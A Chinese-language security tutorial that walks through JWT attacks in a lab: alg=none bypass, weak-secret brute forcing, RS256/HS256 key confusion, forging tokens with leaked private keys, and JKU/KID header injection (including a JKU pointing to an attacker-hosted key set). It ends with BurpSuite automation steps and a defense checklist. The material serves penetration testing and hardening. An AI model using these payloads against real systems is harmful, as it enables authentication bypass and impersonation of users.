JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用
JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用
JSON Web Token(JWT)作为现代Web应用广泛采用的身份验证机制,其安全性直接影响整个系统的防护等级。本文将深入剖析五种高危JWT攻击技术,并演示如何通过BurpSuite插件实现自动化漏洞利用,帮助安全工程师在渗透测试中高效识别风险。
1. 靶场环境搭建与JWT基础识别
在开始实战前,我们需要配置包含五种漏洞场景的Docker靶场。以下为快速部署命令:
docker pull vulnlab/jwt-lab:latest docker run -d -p 8080:80 --name jwt-lab vulnlab/jwt-lab流量特征识别技巧:
- 典型的三段式结构由
.分隔 - Header和Payload部分通常以
eyJ开头(Base64编码后的{") - 常见传输位置:
- Authorization头部的Bearer令牌
- Cookie中的
auth或token字段 - POST请求体的
access_token参数
提示:安装BurpSuite插件"JSON Web Tokens"后,流量中JWT会自动高亮显示,并支持实时解码。
2. 空加密算法攻击(alg=none)
当服务器未严格校验签名算法时,将alg字段改为none可绕过验证。以下是完整攻击流程:
捕获含JWT的请求包,解码后得到类似结构:
{ "alg": "HS256", "typ": "JWT" }修改Header为:
{ "alg": "none", "typ": "JWT" }删除Signature部分,保留结尾的
.
最终格式:[新Header].[原Payload].
BurpSuite自动化操作:
- 右键请求 → Extensions → JWT Editor → Attacks → None Algorithm
- 插件会自动完成算法替换和签名删除
3. 密钥爆破攻击(HS256弱密钥)
对称加密算法HS256依赖密钥强度。使用常见弱密钥字典进行爆破:
# 使用jwt_tool进行爆破示例 python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -C -d /usr/share/wordlists/rockyou.txt高效爆破技巧:
- 优先尝试CTF常见密钥:
secret、123456、password - 结合网站信息推测密钥(如域名、公司名等)
- 使用hashcat加速:
hashcat -m 16500 -a 0 jwt.txt rockyou.txt
BurpSuite集成方案:
- 安装"JWT4B"插件
- 配置字典路径后,右键选择"Brute Force Secret"
- 成功爆破后会自动生成有效令牌
4. 密钥混淆攻击(RS256→HS256)
当服务器使用RS256但未限制算法类型时,可强制使用HS256并利用公钥伪造签名:
| 步骤 | 操作 | 工具命令 |
|---|---|---|
| 1 | 获取公钥 | 从/jwks.json或页面源码提取 |
| 2 | 转换格式 | openssl rsa -pubin -in pub.key -text |
| 3 | 修改算法 | 将alg改为HS256 |
| 4 | 重新签名 | 使用公钥作为HS256密钥 |
BurpSuite一键操作:
- 将公钥导入JWT Editor Keys
- 右键请求 → JWT Editor → Attacks → HS/RSA Key Confusion
- 修改Payload后自动用公钥签名
5. 私钥泄露利用(RS256私钥获取)
当源码或配置泄露私钥时,可直接签发任意令牌:
import jwt private_key = open('private.pem').read() token = jwt.encode({"user":"admin"}, private_key, algorithm="RS256")自动化检测方案:
- 使用Burp主动扫描检查
.git泄露 - 对JS/CSS文件进行关键词搜索(如
PRIVATE KEY) - 尝试常见路径:
/v1/private.key /config/rsa_key /.env
6. JKU/KID注入攻击
利用头部参数注入恶意公钥:
JKU攻击流程:
- 托管包含恶意公钥的JWK Set:
{ "keys": [{ "kty": "RSA", "e": "AQAB", "kid": "malicious", "n": "恶意公钥内容..." }] } - 修改JWT头部:
{ "alg": "RS256", "typ": "JWT", "jku": "http://attacker.com/malicious_jwks.json" }
KID目录遍历攻击:
{ "alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null" }7. BurpSuite全流程自动化
配置JWT攻击工作流:
探测阶段:
- 使用"JSON Web Tokens"插件自动识别JWT
- "JWT4B"进行基础漏洞扫描
利用阶段:
graph TD A[发现JWT] --> B{算法检测} B -->|HS256| C[密钥爆破] B -->|RS256| D[检查公钥泄露] D --> E[尝试算法混淆] B -->|none允许| F[空算法攻击]报告生成:
- 使用"Logger++"记录所有测试过程
- "Report in HTML"生成详细漏洞报告
8. 防御方案与最佳实践
开发人员防护措施:
- 严格校验
alg字段,禁用none - 使用强密钥(HS256至少32字节,RS2048+)
- 定期轮换密钥
- 添加令牌黑名单机制
安全检测清单:
- [ ] 是否强制指定算法
- [ ] 签名是否有效验证
- [ ] 密钥是否足够复杂
- [ ] 敏感声明是否加密
- [ ]
kid/jku是否受控
通过本文介绍的技术组合,安全团队可以系统性地检测JWT实现缺陷。建议在实际测试中优先使用自动化工具提高效率,但对关键业务仍需辅以手动验证确保覆盖所有攻击面。
